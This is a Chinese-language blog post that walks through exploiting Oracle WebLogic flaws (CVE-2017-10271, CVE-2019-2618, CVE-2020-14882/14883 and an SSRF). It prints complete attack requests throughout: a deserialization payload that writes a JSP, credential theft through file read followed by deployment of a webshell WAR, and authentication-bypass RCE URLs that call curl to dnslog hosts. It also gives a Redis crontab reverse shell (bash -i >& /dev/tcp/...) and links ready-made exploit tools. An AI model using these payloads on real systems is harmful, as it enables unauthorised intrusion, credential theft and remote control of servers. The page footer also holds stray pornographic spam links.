<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Weblogic漏洞利用總結(jié)

          共 9187字,需瀏覽 19分鐘

           ·

          2021-03-23 22:14

          weblogic簡介


          Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構(gòu)的中間件,是用于開發(fā)、集成、部署和管理大型分布式Web應用、網(wǎng)絡應用和數(shù)據(jù)庫應用的Java應用服務器

          Weblogic將Java的動態(tài)功能和Java Enterprise標準的安全性引入大型網(wǎng)絡應用的開發(fā)、集成、部署和管理之中,是商業(yè)市場上主要的Java(Java EE)應用服務器軟件之一,也是世界上第一個成功商業(yè)化的Java EE應用服務器,具有可擴展性、快速開發(fā)、靈活、可靠等優(yōu)勢。

          在功能性上,Weblogic是Java EE的全能應用服務器,包括EJB 、JSP、servlet、JMS等,是商業(yè)軟件里排名第一的容器(JSP、servlet、EJB等),并提供其他工具(例如Java編輯器),因此也是一個綜合的開發(fā)及運行環(huán)境。在擴展性上,Weblogic Server憑借其出色的群集技術,擁有處理關鍵Web應用系統(tǒng)問題所需的性能、可擴展性和高可用性。


          漏洞匯總



          CVE-2017-10271


          漏洞簡述

             Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數(shù)據(jù),在解析的過程中出現(xiàn)反序列化漏洞,導致可執(zhí)行任意命令。攻擊者發(fā)送精心構(gòu)造的xml數(shù)據(jù)甚至能通過反彈shell拿到權限。


          漏洞影響版本

               

                           10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。


          漏洞觸發(fā)地址

              /wls-wsat/CoordinatorPortType    /wls-wsat/RegistrationPortTypeRPC    /wls-wsat/ParticipantPortType    /wls-wsat/RegistrationRequesterPortType    /wls-wsat/CoordinatorPortType11    /wls-wsat/RegistrationPortTypeRPC11    /wls-wsat/ParticipantPortType11    /wls-wsat/RegistrationRequesterPortType11


          漏洞復現(xiàn)


              1.訪問觸發(fā)此漏洞的 ip:7001//wls-wsat/CoordinatorPortType

              2.使用burp抓取請求包后發(fā)送至repeater模塊,將數(shù)據(jù)包修改成構(gòu)造好的payload

          POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 637
          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[<% out.print("123"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>


          成功寫入123



          3.反彈shell


          構(gòu)造好反彈shell的命令,在vps上使用nc監(jiān)聽4444端口


          成功反彈



          CVE-2019-2618


          漏洞簡述

              利用任意文件讀取來獲取weblogic的弱口令登錄進入后臺,然后通過上傳getshell,通過構(gòu)造任意文件下載漏洞環(huán)境讀取到后臺用戶名和密碼,然后登陸進后臺,上傳webshell。


          漏洞影響版本

              WebLogic 10.3.6.0、12.1.3.0、12.2.1.3


          漏洞復現(xiàn)

          1.任意文件讀取   

          訪問url  (http://IP:7001/hello/file.jsp?path=/etc/passwd) , 成功讀取到賬號和密碼


              不過只能讀取一些文件,如何更深層次利用這個漏洞呢?weblogic密碼使用AES(老版本3DES)加密,對稱加密可解密,只需要找到用戶的密文與加密時的密鑰即可。這兩個文件均位于base_domain下,名為SerializedSystemIni.dat和config.xml。SerializedSystemIni.dat是一個二進制文件,所以一定要用burpsuite來讀取,用瀏覽器直接下載可能引入一些干擾字符。在burp里選中讀取到的那一串亂碼,這就是密鑰,右鍵copy to file就可以保存成一個文件:

          http://yourIp:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

           config.xml是base_domain的全局配置文件,所以亂七八糟的內(nèi)容比較多,找到其中的的值,即為加密后的管理員密碼

          http://yourIP:7001/hello/file.jsp?path=config/config.xml

          下載工具進行解密

          (下載地址:https://github.com/TideSec/Decrypt_Weblogic_Password)

          使用其中的工具5進行解密




          2.后臺上傳getshell

              1.使用解密后的賬號密碼登錄后臺,weblogic常見的弱密碼

          https://cirt.net/passwords?criteria=weblogic 這里使用 用戶名:weblogic 密碼:Oracle@123 登錄

              2.進入后臺后點擊左邊的部署,找到可以上傳文件的地址

              3.生成一個war包

                  war是一個可以直接運行的web模塊,通常用于網(wǎng)站,打成包部署到容器中。war包放置到web目錄下之后,可以自動解壓,就相當于發(fā)布了。簡單來說,war包是JavaWeb程序打的包,war包里面包括寫的代碼編譯成的class文件,依賴的包,配置文件,所有的網(wǎng)站頁面,包括html,jsp等等。一個war包可以理解為是一個web項目,里面是項目的所有東西

                  這里使用冰蝎里面自帶的jsp一句話生成war馬

          jar -cvf shell.war shell.jsp

                  生成war后將war馬部署上去

              4.使用冰蝎進行連接(默認密碼為rebeyond),成功getshell



          CVE-2020-14882

          漏洞簡述

              遠程攻擊者可以構(gòu)造特殊的HTTP請求,在未經(jīng)身份驗證的情況下接管 WebLogic Server Console,并在 WebLogic Server Console 執(zhí)行任意代碼。

          漏洞影響版本

          Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0


          CVE-2020-14883:權限繞過漏洞

              遠程攻擊者可以構(gòu)造特殊的HTTP請求,在未經(jīng)身份驗證的情況下接管 WebLogic Server Console。權限繞過漏洞(CVE-2020-14883),訪問以下URL,未授權訪問到管理后臺頁面(低權限的用戶)

          /console/images/%252E%252E%252Fconsole.portal/console/css/%252e%252e%252fconsole.portal(小寫可繞過補?。?/span>/console/css/%25%32%65%25%32%65%25%32%66console.portal

              此時的權限很低,并不能在后臺安裝應用,所以需要結(jié)合CVE-2020-14883漏洞


          CVE-2020-14882 : 代碼執(zhí)行漏洞

              結(jié)合 CVE-2020-14883 漏洞,遠程攻擊者可以構(gòu)造特殊的HTTP請求,在未經(jīng)身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執(zhí)行任意代碼。

              該漏洞有兩個利用手法

          利用 com.tangosol.coherence.mvel2.sh.ShellSession 執(zhí)行命令利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 執(zhí)行命令

          1. 利用 com.tangosol.coherence.mvel2.sh.ShellSession 執(zhí)行命令

          DNSLOG的使用

          DNSLOG可以在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發(fā)起DNS請求,這個時候就可以通過這種方式把想獲得的數(shù)據(jù)外帶出來。

               進入DNSLOG平臺 http://www.dnslog.cn/ ,點擊GET 獲取一個域名,然后使用payload執(zhí)行命令

          http://IP:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xx.dnslog.cn');")

          直接訪問URL

          http://ip:端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

          進入docker容器中可以看到文件以成功創(chuàng)建

               這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10版本并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 類


          2.利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext執(zhí)行命令

          一種更為通殺的方法,對于所有Weblogic版本均有效。但是必須可以出網(wǎng),要可以訪問到惡意的xml。首先需要構(gòu)造一個XML文件,并將其保存外網(wǎng)(漏洞機或者可訪問的一臺機子上)上

          XML文件:

          <?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[curl pnw46y.dnslog.cn]]></value>          </list>        </constructor-arg>    </bean></beans>

              然后通過構(gòu)造如下URL,即可讓Weblogic加載這個XML,并執(zhí)行其中的命令:

          http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://ip.xml")


          getshell

              訪問頁面 (http://ip:7001/console/login/LoginForm.jsp) 使用burp抓包,修改請求包為構(gòu)造好的payload

          也可以直接下載大佬寫好的工具,下載地址(https://github.com/backlion/CVE-2020-14882_ALL)


          ssrf漏洞

          漏洞描述

              Weblogic中存在一個SSRF漏洞,利用該漏洞可以發(fā)送任意HTTP請求,進而攻擊內(nèi)網(wǎng)中redis、fastcgi等脆弱組件。

              SSRF漏洞可以通過篡改獲取資源的請求發(fā)送給服務器,但是服務器并沒有檢測這個請求是否合法的,然后服務器以他的身份來訪問其他服務器的資源。

          漏洞影響范圍

              Oracle WebLogic Server 10.3.6.0

              Oracle WebLogic Server 10.0.2.0

          redis簡介

              Redis是一個開源的使用ANSI C語言編寫、遵守BSD協(xié)議、支持網(wǎng)絡、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API

              它通常被稱為數(shù)據(jù)結(jié)構(gòu)服務器,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。


          漏洞復現(xiàn)

          瀏覽器訪問存在漏洞的地址 SearchPublicRegistries.jsp 

          http://192.168.31.187:7001/uddiexplorer/SearchPublicRegistries.jsp

               1.使用burp抓包后看到參數(shù)operator的參數(shù)是一個url,這個就是利用點 ,構(gòu)造請求,通過改變url的端口來做一個端口檢測 ( 通過錯誤的不同,即可探測內(nèi)網(wǎng)狀態(tài)。)

              可訪問的端口將會得到錯誤,一般是返回狀態(tài)碼(如下圖)

              修改為一個不存在的端口,將會返回錯誤`could not connect over HTTP to server`。

              如果訪問的非http協(xié)議(內(nèi)網(wǎng)),則會返回`did not have a valid SOAP content-type`。


          利用redis反彈shell

          weblogic的ssrf有一個比較大的特點,其雖然是一個GET請求,但是我們可以通過傳入**%0a%0d**來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就是說我們可以通過該SSRF攻擊內(nèi)網(wǎng)中的redis服務器。首先通過ssrf探測內(nèi)網(wǎng)中的redis服務器,通常redis端口為6379

              1.首先,通過ssrf探測內(nèi)網(wǎng)中的redis服務器(docker環(huán)境的網(wǎng)段一般是172.*)

              2.構(gòu)造redis反彈shell命令

          test
          set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.191.3/4444 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave
          aaa


              3.繞過攔截

          http://ip/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E191%2E3%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa%0A%0A%0D%0A

              4.使用nc(windows)監(jiān)聽4444端口

              5.將url編碼后的payload使用POST請求發(fā)送

              6.成功反彈shell

              7.然后可以進入redis容器中查看定時任務 定時任務存放地址為 /etc/corntab


              最后還有一個weblogic一鍵漏洞掃描檢測工具,提供一鍵poc檢測,收錄幾乎全部weblogic歷史漏洞。

              下載地址

          https://github.com/rabbitmask/WeblogicScan 原版https://github.com/dr0op/WeblogicScan 修改版,多一個CVE檢測,高亮美化https://github.com/21superman/weblogic_exploit 21superman寫的,漏洞比較全面
          使用方法 python3 WeblogicScan.py [ip] [port]



          瀏覽 83
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  黄色逼逼| 天天玩夜夜操 | 清纯粉嫩极品夜夜嗨AV | 天天拍天天干天天操 | 国产精品 - 色网 |